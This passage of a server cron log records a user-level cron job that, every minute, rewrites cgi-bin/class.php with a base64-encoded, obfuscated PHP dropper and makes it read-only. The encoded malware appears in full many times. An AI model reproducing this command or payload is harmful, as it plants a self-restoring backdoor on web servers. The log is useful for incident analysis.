JRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:21:01 server CROND[28207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:21:01 server CROND[28208]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:21:01 server CROND[28207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:21:01 server CROND[28208]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:21:01 server CROND[28207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:21:01 server CROND[28208]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:21:01 server CROND[28209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:22:01 server CROND[28583]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:22:01 server CROND[28584]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:22:01 server CROND[28585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:23:01 server CROND[29075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:23:01 server CROND[29076]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:23:01 server CROND[29077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:24:01 server CROND[29457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:24:01 server CROND[29459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:24:01 server CROND[29460]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:25:01 server CROND[29852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:25:01 server CROND[29853]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 03:25:01 server CROND[29854]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 03:25:01 server CROND[29860]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:25:01 server CROND[29861]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 03:25:01 server CROND[29859]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 03:25:01 server CROND[29858]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:26:01 server CROND[30684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:26:01 server CROND[30685]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:26:01 server CROND[30686]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:27:01 server CROND[31067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:27:01 server CROND[31069]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Sep  7 03:27:01 server CROND[31070]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:27:01 server CROND[31072]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:27:01 server CROND[31071]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 03:28:01 server CROND[31551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:28:01 server CROND[31553]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:28:01 server CROND[31554]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:29:01 server CROND[31940]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:29:01 server CROND[31941]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:29:01 server CROND[31942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:30:01 server CROND[32334]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 03:30:01 server CROND[32336]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 03:30:01 server CROND[32344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:30:01 server CROND[32345]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 03:30:01 server CROND[32343]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:30:01 server CROND[32347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:30:01 server CROND[32346]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 03:30:01 server CROND[32350]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 03:31:01 server CROND[747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:31:01 server CROND[748]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:31:01 server CROND[749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:32:01 server CROND[1184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:32:01 server CROND[1185]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:32:01 server CROND[1186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9y